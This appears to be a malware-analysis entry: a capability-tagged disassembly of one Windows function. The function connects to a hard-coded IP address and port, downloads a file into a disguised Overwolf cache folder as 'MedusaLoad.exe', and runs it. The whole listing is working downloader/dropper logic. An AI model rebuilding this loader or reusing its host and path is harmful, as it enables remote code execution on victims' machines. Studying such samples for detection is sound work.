Function at 0x1400013c0
Capabilities:
Connect socket
Create process on windows
Delete file
Initialize winsock library
Query environment variable
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x13c0]
mov eax, 0x14c0
call fcn.140004700
sub rsp, rax
movaps xmmword [rsp + 0x14b0], xmm6
movaps xmmword [rsp + 0x14a0], xmm7
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rbp + 0x1390], rax
xor r14d, r14d
mov dword [rsp + 0x30], r14d
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
movdqa xmm1, xmmword [0x1400057b0]
movdqu xmmword [rbp + 0x190], xmm1
movsd xmm0, qword [str.185.246.113.157]
movsd qword [rbp + 0x180], xmm0
mov eax, dword [0x140005590]
mov dword [rbp + 0x188], eax
movzx eax, word [0x140005594]
mov word [rbp + 0x18c], ax
movzx eax, byte [0x140005596]
mov byte [rbp + 0x18e], al
mov byte [rbp + 0x18f], r14b
mov ecx, 0x202
lea rdx, [rbp + 0x1f0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400014ac
lea rdx, str.Error:_WSAStartup_failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003220
mov rcx, rax
lea rdx, [0x1400033f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001ca6
mov edx, 1
mov ebx, 2
lea r8d, [rdx + 5]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400014f9
lea rdx, str.Error:_socket_creation_failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003220
mov rcx, rax
lea rdx, [0x1400033f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140001ca6
mov qword [rbp + 0x1a8], r14
mov word [rbp + 0x1a0], bx
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp + 0x1a4], eax
mov ecx, 0x29db
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x1a2], ax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x1a0]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14000158e
lea rdx, str.Error:_connection_failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003220
mov rcx, rax
lea rdx, [0x1400033f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140001ca6
lea rcx, str.USERPROFILE
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0x1b0]
call fcn.140002c70
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x30
jb 0x1400015f4
lea rax, [rcx + 0x30]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0xf
jbe 0x1400015d5
mov rax, qword [rdi]
lea rbx, [rax + rcx]
mov r8d, 0x30
lea rdx, str.AppDataLocalOverwolfBrowserCacheShaderCache
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x30], 0
jmp 0x14000160d
mov qword [rsp + 0x20], 0x30
mov edx, 0x30
mov rcx, rdi
call fcn.140003690
mov rdi, rax
movups xmm7, xmmword [rdi]
movups xmmword [rbp + 0x1d0], xmm7
movups xmm6, xmmword [rdi + 0x10]
movups xmmword [rbp + 0x1e0], xmm6
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], recv
mov byte [rdi], 0
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0xf
jbe 0x140001675
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001670
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001670
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000390c
movdqa xmm0, xmmword [0x1400057a0]
movdqu xmmword [rbp + 0x1c0], xmm0
mov byte [rbp + 0x1b0], 0
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
movq r15, xmm6
sub rax, r15
cmp rax, 0xf
jb 0x140001d24
lea rax, [rbp + 0x1d0]
movq r14, xmm7
psrldq xmm6, 8
movq r13, xmm6
cmp r13, 0xf
cmova rax, r14
mov qword [rsp + 0x30], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x170], xmm1
lea r12, [r15 + 0xf]
mov ebx, recv
lea rdi, [rbp + 0x160]
cmp r12, rbx
jbe 0x140001782
mov rbx, r12
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000173d
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400038d0
test rax, rax
je 0x140001c48
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
mov rax, qword [rsp + 0x30]
jmp 0x14000177b
mov ecx, socket
cmp rbx, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001765
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001d2a
jmp 0x140001719
test rcx, rcx
je 0x140001779
call fcn.1400038d0
mov rdi, rax
mov rax, qword [rsp + 0x30]
jmp 0x14000177b
xor edi, edi
mov qword [rbp + 0x160], rdi
mov qword [rbp + 0x170], r12
mov qword [rbp + 0x178], rbx
mov r8, r15
mov rdx, rax
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.MedusaLoad.exe]
movsd qword [r15 + rdi], xmm0
mov eax, dword [0x140005648]
mov dword [r15 + rdi + 8], eax
movzx eax, word [0x14000564c]
mov word [r15 + rdi + 0xc], ax
movzx eax, byte [0x14000564e]
mov byte [r15 + rdi + 0xe], al
mov byte [rdi + r12], 0
lea rbx, [rbp + 0x160]
cmp qword [rbp + 0x178], 0xf
cmova rbx, qword [rbp + 0x160]
lea rax, [0x140000000]
lea rax, [rax + 0x5778]
mov qword [rbp + 0x50], rax
lea rcx, [rbp + 0x100]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x30], reloc.WS2_32.dll_inet_addr
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x50], rdi
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x4c], edx
lea rcx, [rbp + 0x60]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea r12, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x60], r12
mov byte [rbp + 0xdc], 0
mov byte [rbp + 0xd1], 0
lea rcx, [rbp + 0x60]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
xor r15d, r15d
mov qword [rbp + 0xe0], r15
mov rax, qword [0x1400099f8]
mov qword [rbp + 0xd4], rax
mov qword [rbp + 0xc8], r15
lea r8d, [r15 + 1]
mov rdx, rbx
lea rcx, [rbp + 0x60]
call fcn.1400030e0
test rax, rax
jne 0x1400018cd
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x50]
add rcx, rax
xor r8d, r8d
lea edx, [r15 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x50], rdi
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x4c], edx
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x50]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
movzx ebx, al
lea rcx, [rbp + 0x50]
call fcn.140001300
test bl, bl
je 0x14000192e
lea rcx, [rbp + 0x160]
cmp qword [rbp + 0x178], 0xf
cmova rcx, qword [rbp + 0x160]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rbx, [rbp + 0x160]
cmp qword [rbp + 0x178], 0xf
cmova rbx, qword [rbp + 0x160]
lea rax, [0x140000000]
lea rax, [rax + 0x5770]
mov qword [rsp + 0x40], rax
lea rcx, [rbp - 0x18]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x30], recv
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x40], rdi
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x3c], edx
lea rcx, [rsp + 0x48]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
mov qword [rsp + 0x48], r12
mov byte [rbp - 0x3c], 0
mov byte [rbp - 0x47], 0
lea rcx, [rsp + 0x48]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp - 0x38], r15
mov rax, qword [0x1400099f8]
mov qword [rbp - 0x44], rax
mov qword [rbp - 0x50], r15
mov r8d, 0x2a
mov rdx, rbx
lea rcx, [rsp + 0x48]
call fcn.1400030e0
test rax, rax
jne 0x140001a17
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x40], rdi
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x3c], edx
cmp qword [rbp - 0x38], 0
jne 0x140001a76
lea rdx, str.Error:_failed_to_open_file_for_writing.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003220
mov rcx, rax
lea rdx, [0x1400033f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140001c05
xor r9d, r9d
mov r8d, 0x1000
lea rdx, [rbp + 0x390]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x140001ad2
nop dword [rax]
nop word [rax + rax]
mov r8d, eax
lea rdx, [rbp + 0x390]
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
xor r9d, r9d
mov r8d, 0x1000
lea rdx, [rbp + 0x390]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x140001aa0
jns 0x140001af7
lea rdx, str.Error:_failed_to_receive_file.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003220
mov rcx, rax
lea rdx, [0x1400033f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [rbp - 0x38], 0
je 0x140001b7b
mov rax, qword [rsp + 0x60]
lea rcx, [rbp - 0x48]
cmp qword [rax], rcx
jne 0x140001b26
mov rdx, qword [rbp - 0x28]
mov rcx, qword [rbp - 0x30]
mov qword [rax], rcx
mov rax, qword [rbp - 0x80]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp - 0x68]
mov dword [rax], edx
lea rcx, [rsp + 0x48]
call fcn.140002f00
lea rbx, [rsp + 0x48]
test al, al
cmove rbx, r15
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rdi, r15
test eax, eax
cmove rdi, rbx
mov byte [rbp - 0x3c], 0
mov byte [rbp - 0x47], 0
lea rcx, [rsp + 0x48]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp - 0x38], r15
mov rax, qword [0x1400099f8]
mov qword [rbp - 0x44], rax
mov qword [rbp - 0x50], r15
test rdi, rdi
jne 0x140001bbf
jmp 0x140001ba1
mov byte [rbp - 0x3c], 0
mov byte [rbp - 0x47], 0
lea rcx, [rsp + 0x48]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp - 0x38], r15
mov rax, qword [0x1400099f8]
mov qword [rbp - 0x44], rax
mov qword [rbp - 0x50], r15
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea r8, [rbp + 0x160]
cmp qword [rbp + 0x178], 0xf
cmova r8, qword [rbp + 0x160]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
lea rcx, [rsp + 0x40]
call fcn.140001d30
nop
mov rdx, qword [rbp + 0x178]
cmp rdx, 0xf
jbe 0x140001c54
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c4f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000390c
movdqa xmm0, xmmword [0x1400057a0]
movdqu xmmword [rbp + 0x170], xmm0
mov byte [rbp + 0x160], 0
cmp r13, 0xf
jbe 0x140001ca6
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140001c9d
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c9d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.14000390c
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x140001cea
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ce5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ce5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000390c
mov rcx, qword [rbp + 0x1390]
xor rcx, rsp
call fcn.1400038b0
lea r11, [rsp + 0x14c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001220
nop
call fcn.140001180
int3